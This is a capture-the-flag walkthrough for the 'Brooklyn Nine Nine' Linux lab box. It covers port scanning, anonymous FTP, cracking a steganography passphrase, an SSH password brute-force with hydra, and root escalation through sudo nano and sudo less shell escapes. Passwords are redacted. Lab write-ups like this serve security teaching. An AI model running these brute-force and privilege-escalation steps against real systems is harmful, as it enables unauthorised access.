Brooklyn Nine Nine is an easy Linux box with 2 different ways to get user shells and to escalate privileges. We’ll cover both solutions here.


rustscan -a -- -sC -sV -oA nmap1

21/tcp open  ftp     syn-ack vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             119 May 17  2020 note_to_jake.txt
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 16:7f:2f:fe:0f:ba:98:77:7d:6d:3e:b6:25:72:c6:a3 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQjh/Ae6uYU+t7FWTpPoux5Pjv9zvlOLEMlU36hmSn4vD2pYTeHDbzv7ww75UaUzPtsC8kM1EPbMQn1BUCvTNkIxQ34zmw5FatZWNR8/De/u/9fXzHh4MFg74S3K3uQzZaY7XBaDgmU6W0KEmLtKQPcueUomeYkqpL78o5+NjrGO3HwqAH2ED1Zadm5YFEvA0STasLrs7i+qn1G9o4ZHhWi8SJXlIJ6f6O1ea/VqyRJZG1KgbxQFU+zYlIddXpub93zdyMEpwaSIP2P7UTwYR26WI2cqF5r4PQfjAMGkG1mMsOi6v7xCrq/5RlF9ZVJ9nwq349ngG/KTkHtcOJnvXz
|   256 2e:3b:61:59:4b:c4:29:b5:e8:58:39:6f:6f:e9:9b:ee (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBItJ0sW5hVmiYQ8U3mXta5DX2zOeGJ6WTop8FCSbN1UIeV/9jhAQIiVENAW41IfiBYNj8Bm+WcSDKLaE8PipqPI=
|   256 ab:16:2e:79:20:3c:9b:0a:01:9c:8c:44:26:01:58:04 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP2hV8Nm+RfR/f2KZ0Ub/OcSrqfY1g4qwsz16zhXIpqk
80/tcp open  http    syn-ack Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel


Right away from our nmap scan we can see anonymous FTP access is enabled and there is a potentially interesting note to look at. Let’s take a look:

└─$ ftp -v
Connected to
220 (vsFTPd 3.0.3)
Name ( anonymous
331 Please specify the password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0             119 May 17  2020 note_to_jake.txt
226 Directory send OK.
ftp> get note_to_jake.txt -
remote: note_to_jake.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note_to_jake.txt (119 bytes).
From Amy,

Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine

226 Transfer complete.
119 bytes received in 0.03 secs (3.7378 kB/s)

Already we have 3 potential usernames: amy, jake, and holt.

We could go ahead and try brute forcing our way into SSH since jake apparently has a weak password.

But before that let’s check out the HTTP service.

Brooklyn Nine Nine homepage

There is a hint in the source code: “Have you ever heard of steganography?"

So let’s download /brooklyn99.jpg and analyze it for hidden information.

└─$ exiftool brooklyn99.jpg
ExifTool Version Number         : 12.16
File Name                       : brooklyn99.jpg
Directory                       : .
File Size                       : 68 KiB
File Modification Date/Time     : 2020:05:26 05:01:39-04:00
File Access Date/Time           : 2020:05:26 05:01:39-04:00
File Inode Change Date/Time     : 2021:04:09 20:44:51-04:00
File Permissions                : rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Image Width                     : 533
Image Height                    : 300
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 533x300
Megapixels                      : 0.160

└─$ stegseek --crack brooklyn99.jpg /usr/share/wordlists/rockyou.txt
StegSeek version 0.5
Progress: 0.28% (393657 bytes)

[i] --> Found passphrase: "REDACTED"
[i] Original filename: "note.txt"
[i] Extracting to "brooklyn99.jpg.out"

└─$ cat brooklyn99.jpg.out
Holts Password:


Initial Foothold

We found creds for holt! Now we can log in to SSH and grab the user flag.

└─$ ssh holt@
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:Ofp49Dp4VBPb3v/vGM9jYfTRiwpg2v28x1uGhvoJ7K4.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
holt@'s password:
Last login: Tue May 26 08:59:00 2020 from
holt@brookly_nine_nine:~$ ls -la
total 48
drwxr-xr-x 6 holt holt 4096 May 26  2020 .
drwxr-xr-x 5 root root 4096 May 18  2020 ..
-rw------- 1 holt holt   18 May 26  2020 .bash_history
-rw-r--r-- 1 holt holt  220 May 17  2020 .bash_logout
-rw-r--r-- 1 holt holt 3771 May 17  2020 .bashrc
drwx------ 2 holt holt 4096 May 18  2020 .cache
drwx------ 3 holt holt 4096 May 18  2020 .gnupg
drwxrwxr-x 3 holt holt 4096 May 17  2020 .local
-rw-r--r-- 1 holt holt  807 May 17  2020 .profile
drwx------ 2 holt holt 4096 May 18  2020 .ssh
-rw------- 1 root root  110 May 18  2020
-rw-rw-r-- 1 holt holt   33 May 17  2020 user.txt
holt@brookly_nine_nine:~$ wc -c user.txt
33 user.txt

Brute force wasn’t necessary after all, however it does work and gets us Jake’s credentials as well:

└─$ hydra -v -t 20 -l jake -P /usr/share/wordlists/rockyou.txt ssh
Hydra ( starting at 2021-04-06 21:33:06
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 20 tasks per 1 server, overall 20 tasks, 14344399 login tries (l:1/p:14344399), ~717220 tries per task
[DATA] attacking ssh://
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://jake@
[INFO] Successful, password authentication is supported by ssh://
[22][ssh] host:   login: jake   password: REDACTED
[STATUS] attack finished for (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found

Privilege Escalation

We can escalate to a root shell from both Holt and Jake’s accounts. Both have sudo permissions to different programs that can be escaped.

Let’s start with holt, who can run /bin/nano as root. According to GTFObins, “if the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.”

sudo /bin/nano
reset; sh 1>&0 2>&0

After that we can clear the nano screen and will be inside a root shell.

# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls -l
total 4
-rw-r--r-- 1 root root 135 May 18  2020 root.txt
# wc -c root.txt
135 root.txt

Now if we open a new terminal and SSH to the box using Jake’s credentials, we’ll see he can run /usr/bin/less as root, and less also has a way to escape to a shell.

We can open any file with sudo less <filename>, and then just enter !/bin/sh to escape to a root shell.

jake@brookly_nine_nine:~$ sudo less /etc/profile
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# wc -c root.txt
135 root.txt